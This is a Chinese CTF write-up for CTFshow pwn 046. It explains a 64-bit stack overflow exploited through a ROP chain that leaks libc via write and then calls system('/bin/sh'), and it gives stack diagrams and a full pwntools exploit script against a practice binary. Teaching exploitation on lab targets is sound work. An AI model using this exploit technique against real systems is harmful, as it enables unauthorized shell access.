【CTFshow-pwn系列】03_栈溢出【pwn 046】详解:Ret2Libc 之 64位动态泄露
本文仅用于技术研究,禁止用于非法用途。
Author:枷锁
在上一关(PWN 045)中,我们攻克了 32 位环境下的 Ret2Libc,通过精心构造的栈帧调用了 write 函数泄露地址。
来到 PWN 046 ,题目环境切换回了 64位 。依然没有后门,依然需要泄露 Libc。 这就要求我们将 PWN 044 (64位 puts 泄露) 和 PWN 045 (32位 write 泄露) 的知识点结合起来:利用 64 位 ROP 链,通过寄存器传参,调用多参数函数 write 来泄露地址,最终 Get Shell。
pwn 046 寄存器传参进阶:64位 write 函数泄露
题目信息与环境侦察
题目描述
pwn46:
Hint: You can use write func to leak addr!
O.o?
解题过程: 首先使用 checksec 检查程序保护情况。

- Arch : amd64-64-little (64位)
- RELRO : Partial RELRO
- Stack : No canary found
- NX : NX enabled (栈不可执行)
- PIE : No PIE (程序代码段地址固定)
侦察分析:
- 64位架构 :参数传递顺序为 RDI, RSI, RDX, RCX, R8, R9。
- No PIE :
write的 PLT 和 GOT 地址固定。 - ASLR:Libc 基址随机,需要泄露。
第一部分:机制详解 ------ 64位多参数函数调用
1. 目标:调用 write(1, write_got, 8)
在 64 位下,我们要构造如下调用:
- RDI (Arg1) =
1(stdout) - RSI (Arg2) =
write_got(泄露目标) - RDX (Arg3) =
8(泄露长度,64位地址为8字节) (注:如果找不到控制 RDX 的 gadget,利用read残留的 RDX 值也可以,只要足够大)
2. 寻找 Gadgets
我们需要:
pop rdi; ret:控制参数 1。pop rsi; ...; ret:控制参数 2。pop rdx; ret:控制参数 3(这个通常很难直接找到,但在read后rdx通常就是输入长度,往往不需要专门设置)。
第二部分:代码审计与漏洞挖掘
1. 静态分析 (IDA Pro)
Main 函数:

int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
logo();
puts("O.o?");
ctfshow(); // [漏洞点]
write(0, "Hello CTFshow!\n", 0xEu);
return 0;
}
漏洞函数 ctfshow:

ssize_t ctfshow()
{
// [rsp+0h] [rbp-70h] BYREF
_BYTE buf[112];
// [漏洞点]:read 读取 200 (0xC8) 字节
// 200 > 112,存在栈溢出
return read(0, buf, 0xC8u);
}
偏移量计算 : 根据 IDA 注释 [rbp-70h]:
buf距离rbp的偏移是0x70(112 字节)。- 覆盖返回地址长度 =
112+8(Old RBP) = 120 字节。
2. 寻找 Gadgets
使用 ROPgadget 或 pwntools 寻找:
# pop rdi ; ret
pop_rdi = 0x400803
# pop rsi ; pop r15 ; ret
# 这个 gadget 很常见,能同时控制 rsi 和 r15
pop_rsi_r15 = 0x400801
关于 RDX : 在 ctfshow 函数中调用了 read(0, buf, 0xC8u)。 read 函数的第三个参数(长度)通过 RDX 传递。所以在 read 执行时,RDX 已经被设置为 0xC8 (200)。 当 read 返回时,RDX 的值通常不会被清零(除非特定的函数序言)。在 ctfshow 返回时,我们可以假设 RDX 依然是一个较大的值(至少大于 8)。 所以,我们不需要专门寻找 pop rdx gadget ,直接复用 read 遗留下来的 RDX 值即可满足 write 的长度需求。
第三部分:实战操作与 Payload 构造
1. 搜集地址
elf = ELF('./pwn')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
2. Payload 1 (泄露地址)
我们需要构造 ROP 链来设置寄存器并调用 write。
栈布局(ROP Chain):
+----------------------+
| Padding ('a' * 120) |
+----------------------+
| pop_rdi | <-- 设置参数 1
+----------------------+
| 1 | <-- RDI = 1 (stdout)
+----------------------+
| pop_rsi_r15 | <-- 设置参数 2 (顺便设置 r15)
+----------------------+
| write_got | <-- RSI = write_got (泄露源)
+----------------------+
| 0 | <-- R15 = 0 (垃圾填充)
+----------------------+
| write_plt | <-- 调用 write (RDX 复用 read 的 0xC8)
+----------------------+
| main_addr | <-- write 结束后重启程序
+----------------------+
3. Payload 2 (Get Shell)
计算出 Libc 基址后,调用 system("/bin/sh")。
栈布局:
+----------------------+
| Padding ('a' * 120) |
+----------------------+
| pop_rdi |
+----------------------+
| bin_sh_addr | <-- RDI = "/bin/sh"
+----------------------+
| system_addr | <-- 调用 system
+----------------------+
(注:如果 system 崩溃,尝试在 system 前加一个单纯的 ret gadget)
4. 完整 EXP 脚本
from pwn import *
# 1. 基础配置
context.log_level = 'debug' # 开启调试日志
context.arch = 'amd64' # 64位架构
# 2. 建立连接
# 远程打靶时取消注释下面一行,并填写对应 IP 和端口
# io = remote('pwn.challenge.ctf.show', 28046)
io = process('./pwn') # 本地测试
elf = ELF('./pwn')
# 加载 Libc (本地测试用本地 Libc,远程需更换为题目提供的 Libc)
# 这里的路径是你本地 ldd ./pwn 看到的路径
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# 3. 准备零件 (Gadgets & Addresses)
# 栈溢出偏移量: buf(112) + old_rbp(8)
offset = 120
# 获取函数地址
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.sym['main']
# 寻找 ROP Gadgets
rop = ROP(elf)
# pop rdi ; ret
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
# pop rsi ; pop r15 ; ret
pop_rsi_r15 = rop.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]
# ret (用于栈对齐)
ret_addr = rop.find_gadget(['ret'])[0]
log.success(f"pop_rdi: {hex(pop_rdi)}")
log.success(f"pop_rsi: {hex(pop_rsi_r15)}")
# ==========================================
# Stage 1: 泄露 Libc 基址
# 目标: 调用 write(1, write_got, len)
# ==========================================
log.info("========== Stage 1: Leaking Libc ==========")
# 4. 构造 Payload 1
payload1 = flat([
b'a' * offset, # Padding
# --- Chain: write(1, write_got, ...) ---
pop_rdi,
1, # RDI = 1 (stdout)
pop_rsi_r15,
write_got, # RSI = write_got (泄露该地址的内容)
0, # R15 = 0 (填充)
write_plt, # Call write (RDX 复用 read 遗留的 0xC8)
main_addr # 泄露结束后返回 main,以便进行第二次溢出
])
# 5. 发送 Payload 1
io.recvuntil(b"O.o?\n") # 等待提示符
io.sendline(payload1) # 发送攻击载荷
# 6. 接收并计算 Libc 地址
# write 输出的是原始地址字节流,64位通常有效长度为 6 字节
leak_data = io.recv(6)
# 如果没有接收到数据,说明利用失败
if len(leak_data) < 6:
log.error("Leak failed! Check gadgets or offset.")
# 解包并补齐为 8 字节
write_real_addr = u64(leak_data.ljust(8, b'\x00'))
log.success(f"Leaked write@got: {hex(write_real_addr)}")
# 计算 Libc 基址
libc_base = write_real_addr - libc.sym['write']
libc.address = libc_base # 更新 pwntools 中 libc 的基址
log.success(f"Libc Base: {hex(libc_base)}")
# ==========================================
# Stage 2: 获取 Shell
# 目标: 调用 system("/bin/sh")
# ==========================================
log.info("========== Stage 2: Getting Shell ==========")
# 获取真实地址
system_addr = libc.sym['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))
# 7. 构造 Payload 2
payload2 = flat([
b'a' * offset, # Padding
# --- Stack Alignment (栈对齐) ---
# Ubuntu 18.04+ 调用 system 时 RSP 需 16 字节对齐
# 如果 Crash,尝试 启用 或 注释 下面这行 ret
# ret_addr,
# --- Chain: system("/bin/sh") ---
pop_rdi,
bin_sh_addr, # RDI = "/bin/sh"
system_addr # Call system
])
# 8. 发送 Payload 2
# 因为返回了 main,程序会再次打印提示符,必须先接收掉
io.recvuntil(b"O.o?\n")
io.sendline(payload2)
# 9. 获取交互权限
io.interactive()
总结:PWN 046 的核心逻辑
| 维度 | 32位 write 泄露 (045) | 64位 write 泄露 (046) |
|---|---|---|
| 传参方式 | 栈传参 | 寄存器传参 (RDI, RSI, RDX) |
| Gadget | 无需特殊 Gadget | 需要 pop rdi, pop rsi |
| RDX 处理 | 直接压栈 4 |
复用 read 的残留值 |
| 地址长度 | 4 字节 | 8 字节 |
核心启示 : 在 64 位 ROP 中,如果找不到控制第三个参数(RDX)的 Gadget,不要慌张。利用**寄存器残留(Register Residue)**是一个非常实用的技巧。因为 read 函数恰好使用了 RDX 来存储长度,这个值在函数返回后往往没有被清除,正好被我们用来做 write 的长度参数。
宇宙级免责声明 🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨 1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。 2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。 3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。 4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。 5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。 6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。 7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。
🔐 安全研究的正确姿势:✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界
⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。